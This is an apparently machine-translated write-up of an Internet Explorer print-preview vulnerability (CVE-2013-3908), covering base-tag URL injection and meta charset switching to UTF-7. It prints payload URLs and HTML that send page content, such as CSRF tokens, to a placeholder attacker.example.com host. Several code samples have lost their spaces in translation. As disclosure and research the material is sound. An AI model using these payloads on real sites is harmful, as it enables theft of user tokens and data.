Original: http://masatokinugawa.l0.cm/2014/11/ie-printpreview-infoleak.html
Question 1:
When the print preview operation is performed in IE9 and previous versions, IE takes out the URL of the original page and places the URL in the href attribute of the base tag in the regenerated HTML. Because there is no processing of the "< >" symbols in the URL, this can cause information disclosure. Although there is no way to execute JavaScript in the Print preview interface, we can construct such a URL:
Http://vulnerabledoma.in/security/search?q=123 ' & ' ><img/src= ' http// attacker.example.com/
When the victim visits our specific page and tries to print the page, start with the following section
< BASE HREF = "http://vulnerabledoma.in/security/search?q=123 ' &" >< img /src
The closed portion of the single quotation mark (until the single quotation marks that are present in the original page) are sent to the victim Web server as an HTTP request. The disclosure may be CSRF token or other information. (This is a lot of luck, but it should be a very basic scriptless attack)
The problem is judged to be a small-impact vulnerability due to the difficulty of using it, announcing that it will be repaired later in the IE9 (as a final result, Microsoft is finally announcing that it will be repaired in IE9 as well as in previous versions)
Question 2:
This part has nothing to do with me but the original. Because before the character set related security problems, found a more strange phenomenon. The META tag that specifies the character set is valid in what scenario. Let's take a look at an interesting scenario:
<HTML><Head><title>Output</title><MetaCharSet=utf-8></Head><Body></Body></HTML>
We all know that some tags have so-called HTMLEncode features, such as the title tag of the example code above. If we want to do a cross-site scripting attack here, we need to end this title tag and insert something like:
</title>
But what happens if we insert a meta tag?
<HTML><Head><title><MetaCharSet=shift_jis></title><MetaCharSet=utf-8></Head><Body></Body></HTML>
When you enter Document.characterset in the console, you will find that the character set of the current page is actually turned into shift_jis (can be tested under Firefox). If you increase the test scenario, you will find that either in the script tag or in the textarea tag, as long as you insert the META tag within the first byte (1024 is spec-written, but the actual test is more than 980 byte), And there are no settings in the response header, and there are no other meta tags to set the character set before you insert the META tag, and your meta tag is valid (specific to read the browser spec). When I found this problem, it felt very interesting but because I did not find a good use of the scene, and @/fd teamed up with an XSS challenge, I hope others will see this after the study will indirectly lead to security issues. This was then out of XSS Challenge and related writeup:
http://kcal.pw/puzzle3.php
I'm sorry to say a lot. Back to the original, MK also raised a similar question.
<HTML><Head><MetaTest= "<meta charset=big5>"><Script>varx="<meta charset=koi8-r>";</Script><MetaCharSet=utf-8></Head><Body><MetaCharSet=iso-8859-1><Buttononclick= "func ()">CharSet is</Button><Script>functionfunc () {alert (Document.charset||document.characterset);}</Script></Body></HTML>
What would the final characterset be like in the HTML page above? The answer is that Chrome and Safari will choose Utf-8. Firefox will choose Koi8-r, and IE will consider it Big5. So the cve-2013-3908 in the subject is the combination of the two.
Http://vulnerabledoma.in/security/search2?q=123 ' &<charset=utf-7 >
<!DOCTYPE HTML><!DOCTYPE HTML public "" "><HTML__ie_displayurl= "http://vulnerabledoma.in/security/search2?q=123 ' &<meta charset=utf-7>+aciapga8a-img/src= ' http://attacker.example.com/"><HEAD><METAcontent= "ie=11.0000"http-equiv= "X-ua-compatible"><METAcontent= "text/html; charset=iso-8859-1"http-equiv=content-type><BASEHREF= "http://vulnerabledoma.in/security/search2?q=123 ' &<metacharset=utf-7>+aciapga8a-img/src= ' http://attacker.example.com/"><STYLE>HTML{font-family:"Times New Roman"} </STYLE> <Metacharset= "Iso-8859-1"></HEAD> <BODY><P>Loginid:[email protected]</P><FORMAction=""Method= "Get">SearchBox:<INPUTname= "Q"type= "text"value= "123 "> <INPUTtype= "Submit"value= "Submit"></FORM></BODY></HTML>
Recalling the previous knowledge, we know that the META tag that appears in the mysterious attribute __ie_displayurl will still be parsed, Causes the character set of the current page to be tampered with utf-7. So even after the escalation of the issue 1 to Microsoft, Microsoft to the URL output part of the processing, and can not avoid the character set is modified by no <> utf-7 the pace of scriptless attack. Finally, due to this vulnerability caught up with IE11 's bug bounty activity, the author received a 2200-knife bonus by submitting the issue.
cve-2013-3908 Internet Explorer Print preview feature can lead to information disclosure